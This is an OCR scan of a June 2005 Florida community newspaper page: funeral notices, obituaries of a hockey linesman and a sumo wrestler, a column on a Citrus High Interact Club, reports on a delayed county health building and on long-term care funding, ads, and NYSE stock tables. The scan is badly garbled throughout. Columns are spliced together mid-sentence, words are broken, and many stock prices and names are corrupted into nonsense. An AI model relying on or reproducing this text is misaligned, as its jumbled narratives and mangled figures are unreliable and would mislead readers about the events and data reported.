Davies officiat- ing. Cremation will be under the direction of Hooper Crematory, Inverness. Friends, who wish, may send memorials to Hospice of Citrus County, PO. Box 641270, Beverly Hills, FL 34464. Donald Joshua Prestidge, Ph.D. A memorial gathering for Dr. Donald J. Prestidge, PhD, 73, Crystal River, will be con- ducted at 2 p.m. Saturday, June 4, 2005, from the Strickland Funeral Home Chapel in Crystal River. Maude Rae Price. The serv- ice of remembrance for Maude Rae Price, 91, Yankeetown, will be conducted at noon Wednesday, June 1, 2005, at the Beverly Hills Chapel of Hooper Funeral Homes. Interment will follow at Cedars of Lebanon, Levy County. Those who wish may make memorials to Hospice of the Tri-Counties, 311 N.E. 9th St., Chiefland, FL 32626. Bobby Donald Willis. Graveside services for Bobby Donald Willis, 81, Inverness, will be conducted at 2:30 p.m. Friday, June 3, 2005, at Florida National Cemetery, Bushnell, with full military honors ren- dered by Inverness VFW Post 4337. Funeral procession from the Chas. E. Davis Funeral Home will form at 1:30 p.m. prior to the service. Deaths ,-. 'i . John D'Amico, 67 HOCKEY LINESMAN TORONTO John D'Amico, a Hockey Hall of Fame lines- man who spent 23 years offici- ating before joining the NHL front office, died Sunday. He was 67. D'Amico worked 1,689 regu- lar-season games, 247 playoff games, 52 Stanley Cup final games and six international hockey series. He left the ice in 1987 to become the NHEs supervisor of officials. Mitsuru Hanada, 55 SUMO WRESTLER TOKYO Mitsuru Hanada, the Prince of Sumo who hailed from one of the sport's most powerful dynasties and rose to the second-highest rank of ozeki, died Monday He was 55. Hanada, more commonly known by his title as stable- master Futagoyama, spent a 16- year career in the ring. He was the father of the immensely popular brothers, former yokozunas Takanohana and Wakanohana, who dominated the sport in the 1990s. The Dignity Memorialt mark ensures your wishes will be respected and honored and symbolizes a complete satisfac- tion guarantee. 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Obituaries VERTICAL BLIND OUTLET S 649 E Gulf To Lake Lecanto FL S637-1991 -or- 1-877-202-1991 ALL TYPES OF BLINDSt SiA,1 Memorial Services Pending Charles Falloure Private Cremation Arrangements John Zito Viewing: Thurs 4-7pm Service: Thurs 6pm Chapel Marion Provo Private Cremation Arrangements Richard Dieckman Service: Westhampton Beach, NY Bobby Willis Graveside Service: Fri 2:30pm Florida National Cemetery Julie Benisch Services in New York' 726-8323 %P- IUNILCylJI-. ra.raraBpL~I~ s~C----n-~-~- ~~~ "~ ~' '~"~~ i"' i - * C W- IF-- ~e~E~S~l vw * 4lb mobh WEDNESDAY, JUNE 1, 2005 7A Crmus Couv VTY (FL) CHRONICLE Club allows youths, AWARD SContinued fI community chance long-term care by s in x i-ni n f to volunteer services The Virgilios are at it ing wo again, Arnold and Mary way I) Ann, Citrus County's accum' dynamic duo and passionate ice hot longtime children and youth tion ar activists. The list of their ship al in the.Alon involvement for and in the Rotar behalf of children is endless, Love, including the formation of the dents Inverness Boys & Girls Club. to inte: Super-active and enthusiastic people Rotarians, the two welcomed a advise standing-room-only group of Advi middle and high school stu- challei dents at Citrus High May 18 to owner- form an Interact Club in the memb( classroom of Janet Love, volun- do so i: teer faculty sponsor who was a club former Interact member while attending Citrus High as a youth. Also on hand was Josh Kelly, Interact District coordinator from the Spring Hill Central Rotary Club, Andrea Carlson, Interact District president, Rotarians Lionel King, Greg Ruth e s Hamilton and Leigh Ruth Levins Ann Bradshaw, prin- AROUND cipal of Citrus High. ~ ~ .cO Such enthusiasm! In all of my volunteer years I a teach have never witnessed such a ground desire to commit to an office in ing wit an organization. Four students The volunteered to run for both of month the offices of president and the sc] vice president, five for secre- and in tary and treasurer, four for both and T-; historian and sergeant at arms. motto < With a vote by the raising of the It lo hands for the candidates, the Intera( election was quickly completed growing in an amazingly orderly fash- membE ion. The results were: tional President, Paul Jensen; vice memb( president, Kelsey Keating; sec- because retary, Elizabeth Rock; treasur- Applic er, Jesse Keesling; historian, from M Laura Bourbon; and sergeant Rotari at arms, Craig Augustine. Intera( Before the election Josh tion in Kelly, Andrea Carlson and the p.m. ti Virgilios told the students all and si about Interact, which is spon- Virgilic scored by Rotary Clubs through- out the nation. Good selling points from the Virgilios were Ruth. that the club is "serious" fun variety and scholarships will be made comm available to them. It promotes 803, leadership skills that students find helpful in their college i experience. T Some of the projects Interact has undertaken include Adopt- A-Highway, painting and repairing homes of the elderly, and Heifer International end- )rld hunger. Along the interact Club members ulate community serv- urs required for gradua- td to include in scholar- )plications. g with the Virgilios as y advisers and Janet faculty adviser, the stu- will have opportunities ract with other business who will be able to them of career options. ser Mary Ann Virgilio nged the youths tO take ship of their Interact ership just as they will n their chosen careers. ract will require that the implement one school- based project, one community project and one internation- al project per semester. Mrs. Love, faculty adviser, suggested a school mentorship project for making it easier for students who transfer to the school in the middle of the year, giving them a sense of com- munity. A project could be developing ching garden on the Is with Rotary sponsor- th landscaping needs. club will meet once a and as needed during hool day. Dues are $10 include an Interact pen shirt with a design and of the group's choosing. )oks like Citrus High ct Club is on its way in ig leadership among its ers. There is an addi- list of 25 prospective ers who could not attend ;e of prior commitments. nations are available Irs. Love and Inverness ans. Look for the ct Booth during orienta- the gym from 9 a.m. to 1 he first week in August gn up. Call Mary Ann o at 726-0040. Levins participates in a y of projects around the unity. Write to P.O. Box Crystal River FL 34423. erri's Taxi P26-3723 m 800-363-4851 V Volunteers ofAmerica There are no limits to caring.v - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Come to Our "New Owners Sale!" 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Bob Asztalos, a representa- tive from the Florida Health COUNTY Continued from Page 1A tor Tom Dick sent Graham a May 24 letter that demanded a drop-dead date for completion. Though the letter asked for a response by Friday, the county hadn't received anything by Tuesday afternoon, Public Works Director Ken Frink said. Subcontractors have walked off the job because they haven't been paid, Frink said. "It seems to me like he's somewhat slow at paying," Frink said. "I think he's on a Care Association, praised Brown-Waite for her persist- ence and her resolute stance on protecting long-term care. "Without adequate funding," he said, "the foundation of long-term care crumbles." Joyce Van Nutt, whose hus- band is a resident at Avante at Inverness, offered heartfelt sentiments of what Brown- cash basis with some of them." Graham is the same contrac- tor involved in the Homosassa Elementary School construc- tion debacle, where two new buildings were found to be missing grout and steel in the walls. Those buildings, a media center and cafeteria, have been rebuilt and both are sub- stantially complete. The county hired Graham several months before the Homosassa deficiencies were discovered. Frink said the health depart- ment building is nearly com- plete and it is being construct- ed under the county's close eye. -Dinettes Stools Casual Dining (352) 237-5557 3131 S.W. COLLEGE RD. Hwy. 200 OCALA, FLORIDA (Opposite Paddock Mall) You don't have to be handy to build your dream home just al thumbs. Text for your chance to win $1 million to build your dream home. Entenng is easy t23i~A 2...., : Hcom'e ,j,-a:*-... Earn Exira chn3rc's WrI eVer, ,iIeme Vou serid a leax, piClure, video or inslanr message 990 allteltxt2win.com I~ PrtL,l- s'riA.sdb., T, rPonc..nqir. aK YOEER2 Waite's efforts mean to her. "Every day I talk to my fami- ly and friends about what gal- lant care my better half is get- ting at Avante," she said. "I wanted to tell the world about my love for my husband and how I want the best for him." "Congressman Brown-Waite, you are the chosen one." For Brown-Waite, the pain of , "We've pretty much got somebody out there... watching him," he said. Graham did not return a phone call seeking comment The project initially was scheduled for completion in September 2004. Graham received an extension to December due to a shortage of steel and then another exten- sion to January because of added change orders. When Graham met with county officials on March 7, he expected the building be done by April 15. That date passed without Graham offering an explanation, Dick's letter said. being unable to personally care for a loved one is familiar "My grandmother was in a nursing home called 'Home for the Incurables.' It was terrible," she said. "My 4-year-old daugh- ter saw it and promised that she would never put me in one." "But today she's changed her mind," she said. "She actually works in a nursing home a quality nursing home," she said. "When you have a quality home, family members are happy, residents are happy, and the community opens it arms," she said. "This is your home," she said, "and I want to make it the best that is possible." Frink said the project is nearly finished. "What's left is minor, very minor," he said. Frink said Graham one way or another will pay subcontractors. Either Graham will pay them himself, or from a county fund of money retained from Graham for each payment Frink said about 10 percent of the contact price has been retained. "We've got more money in retainage than what's neces- sary," he said. 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AMLIRs 28.74 +.37 ... AMR u12.90 +.10 ... ASA Ltd 36.44 +.19 11 AT&T 18.79 -.20 .. 19 AUOptron 17.24 -.11 ... .. AXA 24.49 -.58 23 19 AbtLab 4824 +.24 23 17 AberFtc 57.33 -.27 .. 64 Abitibig 4.50 +.19 17 15 Accenture 23.28 +.18 AdamsEx 12.85 -.09 19 15 Adesan 22.78 +.11 22 18 AdvAuto 59.27 +.36 .. 20 AdvMOpt 38.61 -.17 61 AMD 16.40 +.19 27 AdvSemi 3.54 -.08 8 ... Aegon 12.85 -.43 18 14 Aeropst 27.25 -.07 11 16 Aetnas 78.01 -.08 17 15 AffCmpS 51.73 +.92 ... Agerers 13.60 +1.08 32 20 Agilent 24.01 +.10 .. 24 Agnicog 11.85 ... .. id 7.60 -.15 21 18 AirProd 6023 -.14 ...... ArTran 9.76 -.18 18 15 Albertsn 20.99 -.12 30 11 Alcan 30.17 -.47 20 13 Alcoa 27.10 -.37 7 Alerts Int 23.82 +1.17 21 AlgEngy 24.18 +.18 14 8 AllegTch 2126 +.04 27 23 Allergan 7731 -.19 18 21 AlMetes 48.00 +.55 19 15 AliCap 45.40 +.18 "30 19 AliData 37.72 +.01 AW... AllWd2 12.05 +.05 17 16 AlliantTch 71.70 +.55 55 19 AldWaste 7.71 +.03 12 11 AlJmrFn 34.92 -.15 12 10 Allstate u5820 -.08 15 16 Altel 58.17 +.29 ... 25 Alpharma 12.87 +.14 14 13 Altia 67.14 -.41 22 17 Amdocs 27.25 -.46 10 9 AmHess 92.85 -2.00 19 17 Ameren u54.58 +.35 15 AMowlL 56.68 -1.02 AmWest 5.60 +.12 8 13 AmAxle 20.70 -.33 12 14 AEP 35.69 +.28 19 16 AmExp 53.85 +.60 13 10 AmlntGpIl 55.55 -.85 30 15 AmStand 42.80 -.47 .. AmSIP3 11.79 +.07 ... .. AnTowaer 18.04 +.25 14 13 Amerindt 24.87 -.04 21 18 Ametigas 31.47 +21 19 17 AmersBrg 64.57 -.45 22 18 Amphenol u42.39 +.39 15 13 AmSouth 26.66 +.04 11 9 Anadik 75.70 -.39 27 25 AnalogDev 37.08 +.39 ... AngogidA 34.34 +.54 17 17 Anheusr 46.85 -.75 38 20 AnnTaylr 25.76 -28 12 12 AonCorp 24.93 -.07 10 9 Apache 58.76 -.35 21 20 AppBio 21.41 -.02 31 27 AquaAm 2722 -27 ... Aquila 3.74 +.11 67 18 ArchCoal 48.45 -.31 17 14 ArchDan 19.85 -.16 15 25 ArchstnSm 36.82 +37 14 13 AnrowEl 27.95 +.87 10 15 Ashland 68.30 -.30 ...... AsdEstat 8.65 -.51 13 11 Assurant 35.15 +.05 19 ... AstraZen 42.52 -.43 15 16 ATMOS 28.29 +.32 12 13 AutoNatn 20.00 +20 26 22 AutoData 43.80 -.72 13 11 AutoZone 90.52 -.14 19 14 Avaya 9.15 -.38 23 17 Aviall 30.78 +28 15 13 Avnet 20.92 +.76 22 18 Avon 39.74 +.02 . ... BHPBilLtU 25.10 -.15 20 18 BJSvcs 50.35 -.47 40 20 BMCSit 17.02 +.20 12 ... BPPLC 60.20 -1.18' 14 ... BRT 22.55 25 19 BakrHu 46.19 -.01 14 12 BallCps 37.55 -.41 12 11 BkofAms 46.32 -.33 15 14 BkNY 28.82 -.18 16 15 Banta 43.92 +.14 45 43 BanickG 22.99 25 21 BauschL 78.09 +1.79 53 19 Baxter 36.90 -.04 10 10 BearSt 99.04 +.87 ... 24 BearingP If 6.55 +.01 21 18 BeckCoul 70.06 +1.06 27 19 BectDck 57.45 +.05 11 15 BellSouth 26.76 -.05 11 9 Berkleys 35.46 +93 19 17 BesIBuy 54.43 -.42 77 14 Beverly 12.37 -.02 53 21 BigLots 12.66 ...... BiMedRn 22.35 +.52 14 13 BlackD 87.32 +.48 19 18 BIkHICp u36.62 +.32 ...... BIkFL08 15.42 -.04 ... 21 Blockbstr 9.13 -26 ... lueChp 6.36 -.05 29 22 Boeing u63.90 +.88 15 14 Borders 25.29 -29 20 20 BostBeer 21.11 +.06 26 31 BostProp 66.80 +1.10 19 13 BostonSi d27.09 -.86 35 22 BoydGm 52.86 -.88 24 19 BrMySq 25.36 -.17 13 12 Brunswick 43.04 -.11 15 14 BungeLt u62.04 +.93 20 12 BudNSF 49.42 -.23 12 11 BuriRsc 50.68 -.75 18 18 CHEngy 45.20 +.30 7 14 CIGNA 97.25 -1.64 12 10 CITGp 42.42 -.75 9 14 CMSEng 1323 13 ... CSSInds 30.80 -.04 10 13 CSX 41.58 +.02 26 19 CVSCp 54.85 -.11 ...... CablvsnNY 25.58 -.11 50 17 Cadence 13.97 -.05 25 25 Caesars u21.55 +.22 21 CallGoll 11.69 -23 ...... Calpine 2.98 +28 ...... Camecogs 41.35 +.32 19 17 CampSp 31.03 -.02 ...... CdnNRsgs 29.17 -.32 15 10 CapOne 75.40 +.53 ...... CapMpIB 13.09 -.04 21 16 CardnlHth 57.93 +.13 29 21 CaremkRx 44.66 +.45 24 20 CarMax 25.53 +.33 22 18 Carnival 52.90 +.06 15 11 Caterpillr 94.11 -.20 14 14 Cendant 21.21 -.25 .. 16 CenterPnt 12.26 +.16 9 7 Centex 65.48 +.73 13 14 CntryTel 32.79 +.44 ...... Cenveo 8.38 +.08 68 23 Ceridian 19.07 -.04 23 20 ChmpE 9.73 +.06 13 15 Checkpnt 17.62 -.22 14 10 ChesEng 20.47 +.18 8 10 Chevrons 53.78 -.80 31 24 ChiMerc 216.19 +3.39 41 31 Chicoss u34.21 +.36 ..... ChinaMbleu18.26 +.73 10 9 Chquita u29.08 +.39 10 10 Chubb 84.23 +.70 25 18 CindBell 395 +.02 19 14 CINergy 41.23 -.17 50 24 CrcCity 16.39 -.19 14 11 Ciom 47.11 -.17 68 29 CtzComm 13.64 +.06 16 14 ClairesStrs 23.58 +.07 22 20 ClearChand2923 -.50 10 19 Clorox 58.41 -.08 32 25 Coachs 29.04 -26 23 21 CocaCI 44.63 -.30 19 16 CocaCE 2188 -.17 ... 22 Coeur 3.33 +.16 22 18 ColgPal 49.97 -.09 .. Collntln 8.76 +.06 12 12 Comeica 55.88 -.50 16 14 CmcBNJs 27.75 -.11 12 ... CVRDs 29.03 -.58 .. CVRDpfs 24.68 -.67 .. 26 CompAs 2727 -.03 11 14 CompSci 46.31 -.09 18 16 ConAgra 26.15 -.44 8 9 ConocPhi 107.84 +29 28 13 ConsdEgy 47.85 +.05 19 16 ConEd 45.51 +.18 23 17 ConstellAs27.81 +1.79 ...... CtlAlrB 13,86 +,67 18 13 Cnvrgys' 13.63 +.17 30 20 CoopCaom 59.11 -.20 26 18 CooperCo 66.05 +.80 ... 20 Cominq 15.68 +.18 ...... CorusGr 8.25 -.05 10 9 CntwdFns 37.17 -.23 17 14 Coventry 69.62 +.76 .. 15 Crompton 15.35 -.20 24 ... CwnCste u17.78 +.05 45 17 CrownHold 14.89 -.35 8 7 Cummins 67.95 -.96 .. 52 CypSem 12.93 -.09 ...... DNPSelct 11.40 +.02 13 18 DPL 25.31 +.32 10 8 DRHortns 34.57 -.01 19 18 DSTSys 48.36 +.01 23 13 OTE u47.54 +.58 .. 10 DalmtrC 40.29 -.33 62 10 DanaCp 13.55 +27 23 19 Danaher 55.13 +.53 21 17 Darden 32.48 -.32 21 19 DaVrtas 46.06 -.03 10 10 Deere 66.15 -.17 16 ... Delphi If 4.35 -.06 ...... DeltaAir 3.85 -.13 17 23 DevDv 45.60 +1.00 10 10 DevonEs 45.90 -.65 ... 44 DexMedian 22.02 +.02 ... 20 DiaOffs 47.25 +.26 20 30 Dillards 23.92 -.12 ... 51 DirecTV 14.93 +.06 22 19 Disney 27.44 -.44 19 16 DollarG 19.61 -.22 19 14 DomRas 70.31 +.19 26 16 Dominosnu22.89 +.86 20 15 DonleyRR 33.25 -.15 3 5 DoralFin 11.59 +.07 18 15 Dover 37.87 +.05 11 9 DowChm 45.29 -.59 9 21 DrmwksAnd29.40-2.95 22 16 DuPont 46.51 -.36 13 17 DukeEgy 27.48 -.17 29 35 DukeRlty 30.87 +.12 15 16 DuqLight 19.03 +.15 18 15 Dycom 19.64 -.23 ...... Dynegy 4.65 12 12 ETrade 12.35 +.25 34 25 EMCCp 14.06 -.10 17 15 EOGRess 49.89 -1.01 14 10 EaslChm 58.78 +.20 19 10 EKodak 26.28 -.45 13 11 Eaton 59,85 -.80 27 23 Ecolab 32.33 -.25 12 15 Edisonlt 36.75 -.59 .. 15 EIPasoCp 10.34 +.14 ...... Elan 7.90 -.01 56 38 EDS 19.70 -.17 21 18 EmronEl 66.47 -.66 29 16 EmpDlst 22.98 -.02 29 19 Emulex 18.90 +.04 27 24 EnbrEPtOs 51.59 +.29 ... 12 EnCanas 34.67 -.76 15 14 EnglCp 29.40 18 15 EnPro 27.07 +.90 40 17 ENSCO 33.30 -.07 ...... Enterasysh .93 -.03 19 15 Entergy 71.83 -.24 19 19 Equifax 34.69 -.50 14 18 EqtResc u63.56 +1.68 ... 50 Eqtylnn 11.99 +.04 98 41 EqOffPT 32.49 +.08 19 ... EqtyRsd 35.90 -.03 22 18 EsteeLdr 39.09 -.34 15 19 Esterine u38.90 +.55 16 15 Exelon 46.85 -.08 ... 72 ExtraSpcn 14.40 +.22 13 13 ExxonMbl 56.20 -.60 ...... FEMSA 54.75 -.22 21 21 FMCTch 31.55 -.78 17 16 FPLGps 40.65 -.18 49 23 FairchldS 14.30 -.10 17 17 FamDIr 25.67 +12 10 8 FannleMIf 59.24 -1.50 19 16 FedExCp 89.42 -.46 ... 23 FedSignl 15.63 +.23 16 14 FedlDS 67.45 -.27 .. 31 Feraelgs 22.01 +.05 36 17 Ferolf 19.24 +.04 6 11 FdlNFns 35.99 +.21 18 15 FistData 37.83 -.34 ...... FFinFds 17.95 -.23 12 12 FstHorizon 42.23 +.06 ...... FtTrFdn 19.95 +.05 17 15 FnstEngy u44.30 35 16 FishrSd 62.46 +.27 24 20 RaRock 65.45 +.18 6 8 FordM 9.98 -.09 17 16 ForestLab 38.58 -22 16 16 FortuneBr 86.50 -.35 22 18 FrankRes 72.14 -.23 17 10 FredMacIf 65.04 -.76 22 12 FMCG 35.30 -.24 ... 18 Freescalen20.20 -.10 ... FreescBn 20.20 -.15 8 8 FriedBR 13.05 +.18 12 13 FrontOil u48.91 +.66 3 ... Frontlines 43.45 -.89 10 19 GATX 33.37 -.14 .. 57 GMHCTn 13.65 +.45 ...... GabelliET 9.01 +.05 15 14 Gannett d74.46 -.61 18 14 Gap 21.00 -.19 .. 17 Gateway 3.46 -.05 94 60 Genentch 79.25 -.01 22 19 GenElec 36.48 -.40 39 75 GnGrthPrp 38,93 +.43 5 7 GnMarit 41.76 -.94 18 16 GenMills 49.50 -.18 42 32 GnMotr 31.53 -.30 12 11 Genworthn28.99 +.42 8 6 GaGulf 31.78 -.38 13 11 GaPacif 33.14 -.39 . .. .Gerdaus 10.05 +.34 43 31 Gettylm 74.84 -3.84 30 26 Gillette 52.74 -.57 ... ... GlaxoSKIn 49.70 -.08 48 18 GlobalSFe 36.64 -.09 ...... GolUnhas n33.11 +2.20 ..... GoldFLtd 10.99 32 21 Goldcrpg 13.59 -.02 15 13 GoldWFs 62.62 -.27 .10 10 GoldmanS 97.50 +2.00 28 20 Goodrich 41.86 -.08 11 13 Goodyear 14.39 -.20 23 8 Graffech 4.40 +.18 38 17 GrantPrde 24.02 -.14 13 16 GtPlainEn 31,50 +.14 14 ... GMP 29.22 +.12 13 13 Griffon 19.93 +.08 .. GuangRy 16.83 -.16 44 26 Guidant 73.89 -.07 19 16 HCAInc 54.00 +.19 .. 17 Hallibtn 42.74 -.33 ... HanJS 15.10 -.05 ... HanPtDiv 9.44 +.23 .. HanPtDv2 12.02 -.13 .. Hanson 46.19 -.26 16 15 HadeyD 49.03 -.86 .. HarmonyG 7.65 -.02 21 18 HarrahE 71.81 +.81 10 10 HarffdFn 74.79 -.08 22 16 Hasbro 20.18 -.14 17 16 HawaliEl 25.80 +.05 25 24 HlthCrPr 27.19 +.43 26 29 HtCrREIT 35.84 +.84 18 16 HtMgI 25.22 +.34 28 28 HithRRIlf 39.09 +.64 78 14 HeallhNet 34.23 +.03 ... 34 HedaM 4.48 +.07 17 15 Heinz 36.37 -.66 ... HellnTel 8.98 -.20 19 14 HewletlP 22.51 -.26 95 12 HighwdPlf 27.52 +.11 15 13 HilbRog 34.09 +.40 36 27 Hilton u24.23 +.42 17 15 HomeDo 39.35 -.62 21 17 HonwIllnt 36.23 -.40 19 21 Hospira u38.08 +.33 .. 37 HoslMarr 16.75 +.02 11 8 HovnanE u62.10 +1.03 13 11 HughSups 26.00 -.20 18 16 Humana 36.36 -.53 6 Huntsmn n 19.25 +.46 ... 12 ICICIBk 19.43 -.14 20 17 llTTnds u95.00 +.31 15 16 idacorp 28.32 -.03 19 16 ITW 84.43 -1.10 25 20 Imaton 37.76 -.22 12 10 INCO 38.59 -.40 .. 32 Infineon 8.82 -.25 11 13 IngerRd 77.41 -.99 11 12 IngrmM 15.81 -.43 20 28 InlandREn 15.60 +.60 15 15 IBM 75.55 -1.55 25 20 IntlGame 28.18 -.23 .. 17 IntPap 32.21 -.33 24 19 IntRect u47.78 -46 .. 20 Interpublf 12.34 -.04 40 34 IronMtns 28.70 -.09 28 11 JPMorqCh 35.75 -.05 32 20 Jabil 29.23 -.14 17 30 JanusCap 15.36 +.76 23 19 JohnJn 67.10 -.33 13 12 JohnsnCtI 56.66 -.33 11 8 KBHomesu67.54 +1.28 59 22 KCSouth 19.99 +.02 21 18 Kaydon 28.54 20 18 Kellogg 45.49 -.26 10 10 Kellwood 25.16 -.23 18 8 KerrMcG 73.86 +.53 14 12 Keycorp 32.76 -04 15 16 KeySpan 39.74 +.13 18 16 KimbCIk 64.33 -.42 47. 12 KingPhrm 9.46 -.01 ... 21 Kinrossg 5.33 -.01 22 19 Kohls 48.69 +.02 ...... KoreaElc 14.89 +.09 20 16 Kraft 32.44 -.32 .. 43 KrspKnt 8.09 +.04 .. 13 Kroger 16.77 -.11 20 16 L-3Com 70.78 +1.90 11 ... LLERy 6.20 +.02 ... 19 LSILoq 7.36 +.45 14 ... LTCPip 19.82 +.26 .. 12 LaZBoy 13.35 -.10 ... LaQuinta 8,67 -.03 .. 23 LaBmch 5.53 -.06 17 15 Laclede 29.90 -.09 7 24 Laidlaw 22.24 +.15 26 33 LVSandsn 36.26 -.93 ...... Lazardn 21.65 -.13 8 13 LearCorp 37.70 -.70 23 19 LeggMass 82.18 -.74 18 15 LeogPlat 26.64 +.10 11 10 LehmBr 92.20 +.54 ... LehBr07n 26.43 -.02 10 8 LennarA 58.01 +.45 27 ... LeucNatls 39.89 +.67 16 15 Lexmark 68.44 -.54 ...... LbtyASG 5.90 -.07 94 80 UbtyMA 10.39 -.08 30 20 LillyEli 58.30 -.75 15 14 ULimited 20.57 +.12 12 11 UncNat 45.53 -.18 44 32 Undsay 20.01 -.07 22 17 LockhdM 64.89 -.51 11 10 Loews u75.30 +,80 9 7 LoneStTch 41.45 +.57 7 12 LaPac 25.18 +.09 20 16 LowesCos 57.21 +.06 11 15 Lucent 2,81 -.02 79 6 Lyondell 23.74 -.15 16 15 M&TBk 102.14 -.91 10 10 MBIA 55.93 +.33 13 10 MBNA 21.09 -.26 16 14 MDU Res u28.79 +.47 12 12 MEMC 13.70 -.30 ... MCR 8.70 +.05 10 9 MGIC 61.34 +.48 26 22 MGMMirs 38.09 +1.59 45 48 Macerich 63.03 +1.53 .. Madeco 9.08 +.20 10 9 Magnalg 68.01 +.87 ... MgdHi 6.23 21 18 ManorCareu38.86 +.61 16 14 Manpwl 39.83 -1.17 ... 13 Manulilg 45.95 +.04 13 10 Marathon 48.49 -.41 26 22 MarlnIA 67.54 +.10 ... 15 MarshM 29.04 +.03 15 14 Marshlls 43.51 +.06 ... MStewrt 25.90 -.16 20 18 MarvelE 21.27 -.40 15 12 Masco 32.02 -.36 51 14 MasseyEn 40.43 +.39 .. 14 MatSd 12.20 -.30 13 14 Mattel 18.18 -.10 7 8 MavTube 30.21 +.11 ... 50 Maxtor 5.49 +.06 24 20 MayDS 38.16 -.07 .. 22 Maytlag 14.59 +.10 16 15 McDnlds 30.94 -.32 22 19 McGrwHs 43.66 +.06 ... 17 McKesson u40.27 +.02 24 23 McAfee 28.68 +.56 ... 20 MeadWco 28.68 --22 27 19 MedaoHb 50.00-2.20 36 25 Medtmic 53.75 +.10 15 14 MellonFnc 27.76 -.20 13 13 Merck 32.44 -.01 13 8 MeridRes 4.53 -.06 .. 12 MeriStHsp 8.39 +.17 12 11 MerrllLyn 54.26 -.27 10 11 MetLife u44.60 -.10 26 21 MidlStrs u42.11 -.04 16 18 MicronT 10.98 -.09 88 ... MidAApt, 40.50 -21 41 32 Midas 23.50 -.33 ...... Milacron 2.18 +.04 23 20 Millipore 51.49 -.92 16 37 MillsCp 57.48 +.39 68 9 MobileTels 35.10 +1.32 14 13 MolsCoorsB58.47 -.50 48 23 Monsnto 57.00 -1.32 30 25 Moodyss 43.27 -.47 11 10 MorgStan 48.96 -.30 ...... MSEmMkt 17.40 -.05 ...... Mosaic 13.08 +.06 26 17 Motorola 17.37 +.03 ... ... MunienhFdull.24 +.07 22 20 MytanLab 16.50 -.15 22 22 NCRCps 36.63 -.34 20 22 NRGEgy 35.75 +.53 9 11 NalCity 34.56 -.21 15 15 NatFuGas 28.00 +20 ... NatGid 49.32 -.51 30 21 NOiVarco 45.00 +.61 19 21 NatSemi 20.12 -.04 25 19 NavigCons 22.94 +.38 8 6 Navistar 30.51 -.58 58 37 Navteqn 38.15 +.52 . .. NewAm 2.07 +.01 7 6 NwCentFn 50.95 +.47 16 17 NJRscs 45.10 -.15 15 13 NYCmtyB 18.22 -29 13 18 NYTimes d31.37 -.23 15 NewellRub 22.79 +24 16 10 NewlExps 38.45 +1.45 38 32 NewmtM 37.24 -.35 61 20 NwpkRs 6.10 -.05 ...... NewsCpAn 16.13 -.22 .. 20 NewsCpBn 16.71 -20 15 15 NiSource 24.10 +.07 18 18 Nicor u39.50 +.11 20 16 NikeB 82.20 -23 47 19 NobleCorp 56.62 +.33 12 10 NobleEngyu74.37 +1.12 ., ... NokiaCp 16,86 -.34 20 17 Nordstr u61.04 +.79 13 12 NorikSo 31.92 -.01 ... 22 NorelNet 2.59 -.07 14 11 NoFrkBcs 27.26 +.12 ... 16 NoestUt 19.81 +.07 17 19 NoBordr 47.60 -.25 16 14 NorthropG 55.72 +27 ... 17 Novartis 48.83 -.85 9 8 NovaStar 36.80 +.30 17 16 NSTAR 58.54 -.16 6 8 Nucors 52.96 -.82 21 17 Nuveenlnv 36.05 +.93 ...... NvFL 15.79 +.08 .. ... NvlMO 15.42 +.02 17 16 OGEEngy 27.75 +.21 6 7 OMICp 19.34 -.06 10 9 OclPet 73.11 -.41 18 15 OffcDpt 19.72 -.14 26 24 OfficeMax 30.35 +.19 15 9 Olin 18.77 -.12 18 14 Omncre 38.32 +.48 21 18 Omnicom 81.89 -.81 14 13 ONEOK 30.85 +.43 3 20 OrbialSci 9.71 +.05 4 5 OreStI 17.66 -.01 21 16 OshkshTrk 79.74 -.31 21 16 OutbkStk 44.25 +.02 14 12 Owensill 25.71 -.25 9 15 PG&ECp u35.77 -.38 10 9 PMIGrp 37.80 -.20 13 12 PNC 54.65 -.39 19 17 PNMRes u29.14 +.17 4 POSCO 44.92 +.12 17 13 PPG 65.39 -.56 16 14 PPLCorp u57.51 +.23 26 22 PackAmear 21.84 +.34 24 18 PallCp 29.19 +.64 ... 23 ParkDld 5.70 -.13 13 12 ParkHan 60.33 -.59 8 9 PartnerRe 66.07 +.72 80 15 PaylShoe 16.83 +.06 31 14 PeabdyEs 47.74 +.80 ... Pengrthg 20.61 +.01 .. 17 PenVaRs 46.75 -.27 22 15 Penney 49.76 -1.58 26 20 Pentar 44.51 +.58 ... 39 PepBoy 13.36 -.47 17 15 PepsiBott 28.37 +.01 22 21 PepsiCo 56.30 -.30 19 17 PepsiAmer 24.22 -.34 24 16 PerkElm 19.13 -.02 16 ... Prmian 12.80 4 4 PetroKazg 27.90 +.28 ...... PetrbrsA 41.90 -.19 ...... Petrobis 47.20 -.11 23 14 Pfizer 27.90 -.45 7 8 PhelpD 87.40 +.18 20 19 PiedNGs u24.46 -.08 25 25 Pier1 16.79 +.04 ... PimceStrat 12.60 +.13 16 14 PioNtn 40.13 -.15 21 16 PithyBw 44.61 -.63 23 31 PlacerD 13.52 -.14 .. 11 PlainsEx 30.55 -.33 17 17 Plantron 34.42 -.06 20 22 PlumCrk 35.05 +.05 16 ... PostPrp 32.80 +.44 21 18 Praxair 46.87 -.03 11 10 Premoor 67.87 -.49 ... 23 Pridelntl 22.55 +.23 15 14 PdnFnd 39.89 +.10 21 19 ProctGam 55.15 -.61 15 14 ProgrssEn 44.23 -.02 ...... ProsStHiln 3.41 -.01 ...... Prvdntlpl 35.57 +.31 14 11 Providian 17.82 +.12 15 13 Prudent u63.31 +.54 18 16 PSEG 55.50 +.02 ...... PSEGpfA 79.25 +1.00 44 34 PubStig 60.13 -.31 39 16 PugetEngy 22.75 +.30 9 8 PuiteHm 76.45 +.43 ...... PHYM 7.08 ...... PIGM 9.75 +.02 ...... PPrfT 6.35 12 10 Quanexs 51.89 +2.09 ... 19 QImDSS 2.60 -.09 21 18 QstDiag 105.00 -1.38 22 18 Questar u63.04 +1.61 22 17 Quiksilvrs 15.92 +.24 ... ... QwestCm 3.92 +.12 18 13 RPM 17.60 +.20 13 13 RadioShk 25.16 -.65 16 15 Ralcorp 38.14 +.15 15 13 RJamesFn 26.91 +.05 23 24 Rayonier 52.49 -.36 40 18 Raytheon 39.16 -.04 22 22 RFylncos 24.62 -.05 13 11 Reebok 40.71 +.38 37 19 RegalEnts 19.89 -.32 16 13 RegionsFn 33.68 -.05 ... 38 ReliantEn 12.30 +.05 26 22 RenalCresu46.24 +.17 ... ... Repsol 25.06 -1.03 23 19 RepubSv 35.48 -.22 .. 